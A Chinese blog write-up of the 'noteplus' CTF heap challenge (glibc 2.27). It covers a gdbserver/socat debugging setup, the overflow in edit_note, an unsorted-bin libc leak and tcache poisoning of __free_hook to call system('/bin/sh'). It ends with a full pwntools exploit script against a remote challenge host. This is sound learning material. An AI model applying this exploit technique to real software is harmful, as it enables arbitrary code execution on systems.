Post

UnknownCTF - noteplus

解出来的第一道heap相关的题,还是挺有成就感的。

0x00 调试方法

这一题给了 libc-2.27和一个比较老的libstdc++,直接在当前目录下把附件libc命名为libc.so.6会出问题,似乎是版本太过古老,会导致当前的shell命令都出问题,连ls都不能执行。咨询yxy学姐后,建议我用patchelf修改,但是这一题还有libstdc++,有一堆依赖不太好办。

无奈之下我开始尝试用古老的ubuntu18.04 docker环境跑。但是问题来了,这种环境下,pwndbg和pwntools能不能正常工作?尝试了之后碰壁,我开始幻想:能不能在docker外起pwndbg,在内部调试?

外部调试

很容易想到可以在内部用gdbserver发起程序,外部用pwndbg连接(需要注意的是,gdbserver监听的端口必须在设置容器的时候就用-p选项映射到主机的一个端口,这样才能在容器外部连接)

1
2
3
4
5
# docker内部
sudo docker run -it -p 1234:1234 --name pwn4noteplus  pwnenv_ubuntu18 bash

# 在外部pwndbg中,连接到本机的1234端口
pwndbg> target remote :1234

但是这样有一个弊端:有些值是需要经过一系列繁琐的交互操作之后才能观测的,如果没有脚本会非常麻烦。能不能在外部用脚本与docker内部的程序交互?

外部交互

我想起了曾经有一道reverse的题目(我记得名字叫作space)中用到了socat开启伪终端文件然后辅助调试的方法,比如:

1
2
# 容器内部apt install socat后执行
socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./noteplus

意思是:当外部连接9999端口的时候,就fork一个noteplus程序来响应,就像一般的ctf远程服务一样。(当日这里的9999也需要创建docker的时候增加端口映射)

这样外部通过:

1
nc 127.0.0.1 9999

即可交互。或者用pwntools脚本的remote,批量完成交互。

结合:外部脚本交互 + pwndbg调试

能不能将上述两种方法结合起来呢?灵感依旧来自拿到reverse题目,关键在于:在调试的时候,我们的输入输出是会流向debugger,关键在于如何把这个分离出来。

我们通过建立一个伪终端文件,相当于一个“管道文件”,外部的tcp连接就相当于对这个文件的读写,接下来只需要把这个文件和程序的io绑定即可完成分离:

1
2
3
4
# 对于每个外部的TCP链接,将其io绑定到/tmp/ptyA文件中
socat TCP-LISTEN:9999,reuseaddr,fork PTY,raw,echo=0,link=/tmp/ptyA &
# 使用gdbserver启动程序,并将io连接到建立的pty文件中
gdbserver :1234 ./noteplus < /tmp/ptyA > /tmp/ptyA

这样我们在外部可以用pwntools脚本连接到9999端口交互,用pwndbg连接到1234端口调试。

注意:socat是在有了tcp连接后才会建立ptyA文件,所以顺序一定是:启动socat后台服务 -> 外部连接9999端口 -> 内部启动gdbserver(必须在外部连接9999后,否则ptyA文件不存在,这一步会失败) -> 外部pwndbg连接到1234端口调试。

当连接完成后,pwndbg中会自动停住,这里其实就可以预先打断点,如果不需要的话,按下c程序才会开始执行,然后连接9999端口的部分才会看见程序的初始输出。

0x01 定位溢出点

程序存有 node_arrary和size_arrary, 当add_note的时候,分别填充通过malloc获得的指针和空间大小。另外限制了申请大小不大于0x100.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( input <= 0xF && !node_array[input] )     // index: <= 15 (but may be negative ?)
  {
    std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "Size: ", 6);
    std::istream::_M_extract<unsigned long>(&std::cin, &input);
    v2 = input;
    if ( input > 0x100 )
    {                                           // control size
      v5 = "Too big!";
      v4 = 8;
    }
    else
    {
      data_ptr = malloc(input);
      v4 = 15;
      v5 = "allocate failed";
      if ( data_ptr )
      {
        node_array[v0] = data_ptr;
        size_array[v0] = v2;
        puts("Done!");
        goto LABEL_3;
      }
    }
    ......
  }

edit_note中比较反常规,从 ptr+8开始写,通过start 和 end边界进行判断,很明显存在溢出:当我们申请一个很小的chunk时,比如size=4,start = ptr+8位于end = size + ptr的后面,所以可以溢出任意字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  if ( v6 <= 0xF )
  {
    if ( node_array[v6] )                       // not null
    {
      std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "Content: ", 9);
      mem_ptr = node_array[v0];
      size = size_array[v0];
      if ( size != 8 )
      {
        start = (_BYTE *)(mem_ptr + 8);
        end = (_BYTE *)(size + mem_ptr);
        do
        {
          read(0, start, 1u);
          if ( *start == 10 )
            break;
          ++start;
        }
        while ( end != start );
      }
    }
  }

这样一来,我们就能控制下一个chunk的prev size, prev_in_use, chunk size了。

0x02 泄露libc地址

阅读dalao们的博客后,了解到泄露libc的一种简单方式是利用unsorted bin完成——原理是:程序刚启动的时候,各个bins都是空的;当有一个chunk被放入unsorted bin后,它的fd / bk指针都会指向一个arena的某个字段,这个字段和arena的起始地址是固定的,而同一个版本的glibc中arena和__malloc_hook, __free_hook等符号的偏移也是固定的。更进一步,__malloc_hook等相对于glibc的基地址是固定的,所以我们在获得了libc版本后,可以通过泄露unsorted bin中唯一chunk的fd/bk指针,来计算出glibc的基地址和__malloc_hook/__free_hook的地址,供后续进一步操作。

如果我们能够实现任意位置的写入,那么可以通过修改这些hook指针指向one_gadget/system函数来获得shell.一个特别实用的技巧是: 劫持__free_hook指向system函数,然后我们只需要对一个user data为/bin/sh的chunk进行free,就相当于执行system("/bin/sh")

题目给的是glibc-2.27,(2.26中刚加入tcache,这附近的几个版本tcache相关的防护都很薄弱,很容易利用)

目的确认后,接下来剩下两个问题:

  1. 如何把一个chunk放入unsorted bin? 因为tcache对于某个size只有最多7个位置,所以当我们free掉多个相同大小的chunk, 就会进入tcache; 当把tcache填满后,就有机会进入unsorted bin.

当我用的bin大小是0x30时,经过调试发现最后进入了fastbin,经过查阅了解到,只有chunk大小对应的tcache已经被填满,而且不再fastbin容纳范围内时(一般>0x80),才会进入unsortedbin. 所以这一题可以申请0x100的最大块,加上metadata一个chunk就有0x110大小, 放入unsorted bin

  1. 如何泄露一个已经被free掉的chunk内容?最直接的当然是Use-After-Free, 但是这一题似乎并不存在直接的UAF. 但是可以近似地办到:如果前一个chunk能够使用,或许可以通过view_note查看到下一个chunk的内容? 分析函数逻辑可以知道show的逻辑很暴力,读到空字符为止,所以可以先申请一个大小为4的note( chunk0 size:0x20),然后申请一个大小为0x100的note (chunk1 size:0x110),然后通过一些方法将chunk1放入unsorted bin,然后对chunk0所在的note操作,利用溢出覆盖后面一个chunk的prev_size, chunk_size,然后对chunk0的view即可一路输出,将chunk1的fd也输出来(得益于小端存储,地址的0字节在后面,所以有效信息都能输出)

不过在实际调试的时候发现:如果发送 0x18大小,发现最后的fd末尾被修改了一个字节,显然是末尾的换行符干扰。所以只需要发送0x17大小即可

对于一个确定的libc,我们可以通过调试的方法来获得unsorted bin泄露的数据和__free_hook的固定偏移。

在pwndbg中直接输入x/gx (long long)&__malloc_hook即可获得其运行时地址

0x03 实现任意位置写入

接下来我们要做的就是修改__free_hook。先尝试了unlink,假设分配2个chunk_size=32的块,cyclic(16) + size伪造 + 伪造fd (target -24) +伪造bk (value),但是如果直接让value等于system的地址,会破坏system后面的一些代码。

[TODO]

尝试tcache posioning

tcache和fastbin的结构非常相似,很多攻击方法也是通用的。在学习了几个经典fastbin攻击方法后,突然意识到可以通过溢出覆盖tcache中的fd指针,进行tcache posioning.

  1. 首先分配两个相邻的chunk,前面的chunk0比较小(为了能够溢出),然后对后面的较大chunk1进行free操作,让其进入tcache中
  2. 通过chunk0的溢出,修改chunk1的fd指针,指向目标地址
  3. 然后进行第一次malloc,此时会分配tcache header指向的chunk1, 而chunk1的fd指针已经被我们修改为目标地址,不是NULL,所以tcache header会指向这个值。
  4. 再进行一次malloc,就能往我们目标的地址分配一个chunk. 然后我们通过对这个chunk进行正常的内容写入,比如edit_note,

这种攻击方法并不是像unlink一样,通过程序的操作直接实现任意位置读写,而是将目标地址分配到我们能够控制的区域。这种思路值得积累

注意在调试的时候,fastbin和tcache的指针都是userdata地址,而不是chunk地址

TcacheUser DataUser Data-0x10
FastbinUser DataUser Data-0x10
Unsorted BinChunk HeaderChunk Header0 (就是它自己)
Small BinChunk HeaderChunk Header0
Large BinChunk HeaderChunk Header0

到最后一步提示命令找不到, 原来是忘记了写是从 +8开始的,所以system执行的内容并不是/bin/sh。需要再分配一次mini chunk来溢出。

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *


lib_elf = ELF('./libc-2.27.so')
# p = remote('127.0.0.1', 9999)
p = remote('61.147.171.35', 65229)
#p = process('./noteplus')

def new_note(index, size):
    p.sendlineafter(b"choice: ", b'1')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())

def del_note(index):
    p.sendlineafter(b"choice: ", b'2')
    p.sendlineafter(b'Index: ', str(index).encode())

def edit_note(index, content):
    p.sendlineafter(b"choice: ", b'3')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Content: ', content)

def view_note(index):
    p.sendlineafter(b"choice: ", b'4')
    p.sendlineafter(b'Index: ', str(index).encode())

new_note(0, 4)           # 触发堆溢出的mini chunk (chunk size: 0x20)

# 申请0x30的块
for i in range(1, 9):   
    # NOTE: i==8的时候,额外插入一个小块,为后续tcache posioning做准备,因为chunk8位于后续的tcahce链表头部,比较容易利用
    if(i == 8):
        new_note(11, 4)
    new_note(i, 0x100)

for i in range(2, 9):   # 填满7个tcache
    del_note(i)

del_note(1)     # 放入unsorted bin中

# NOTE: 修正:不知道为什么会跑出来2个换行符,这里填充22个字节
edit_note(0, b'A' * 23) # 加上换行符刚好24B (8 userspace + 8 prev_chunk_size+ 8 chunk_size, 后面就是fd,对应main arena的地址)

x = view_note(0)
p.recvuntil(b'Content: AAAAAAAAAAAAAAAAAAAAAAA\n')
y = p.recv(6, timeout=2)        # 泄露的main arena地址
y += (8 - len(y))*b'\x00'
leak_addr = u64(y)
print(hex(leak_addr))

# 前一个块inuse, 所以prev chunk size可以任意填,这里是0; 后面是chunk_size,设置最后的prev in use标志,变成0x111;, 最后恢复fd和bk指针
resume_chunk_data = b'A' * 8 + p64(0) + p64(0x111) + p64(leak_addr) +  p64(leak_addr)    # 0x31: chunk size: 0x110 + prev_in_use, 顺便将fd和bk都恢复
edit_note(0, resume_chunk_data)

# 通过ELF可以直接找出偏移; 或者gdb调试得到一组地址数据
free_hook_addr = leak_addr + 0x7f6dfeecc8e8 - 0x7f6dfeecaca0

print('free_hook_addr:',hex(free_hook_addr))

# ========= 下面要尝试往free_hook_addr的位置写数据,尝试利用tcache posioning实现任意位置的写入
# 修改后面的chukn8 fd,然后分配2次即可实现对_free_hook的控制
# posioning_payload存储的就是user data地址
# 但是这一题是从user + 8开始写的,所以还是需要申请一个更加靠前的地址
# 但是 - 8会造成unaligned,所以至少-16
posioning_payload = b'A' * 8 + b'A'*8 + p64(0x111) + p64(free_hook_addr - 0x10)
edit_note(11, posioning_payload)

input('press to continue')
new_note(12, 0x100)
new_note(13, 0x100)



# 
free_hook_base = lib_elf.symbols['__free_hook']
system_base = lib_elf.symbols['system']
libc_base = free_hook_addr - free_hook_base
system_addr = libc_base + system_base

print("libc base:",hex(libc_base))

# TODO: 尝试不同的one_gadget
# one_gadget_addr = 0x4f3c2  + libc_base

payload = b'A' * 8 + p64(system_addr)
edit_note(13, payload)

input('press to continue')

# 触发free_hook
# p.interactive()

new_note(14, 4)
new_note(15, 0x40)
edit_note(14, b'A' * 24 + b'/bin/sh\x00\x00')
del_note(15)

# 为了避免换行符干扰,往这里手动插入\x00
# edit_note(12, b'A'*8 + b'/bin/sh\x00')
# input('press to continue')
#
# del_note(12)    # 触发free_hook, 执行system('/bin/sh')
p.interactive()

This post is licensed under CC BY 4.0 by the author.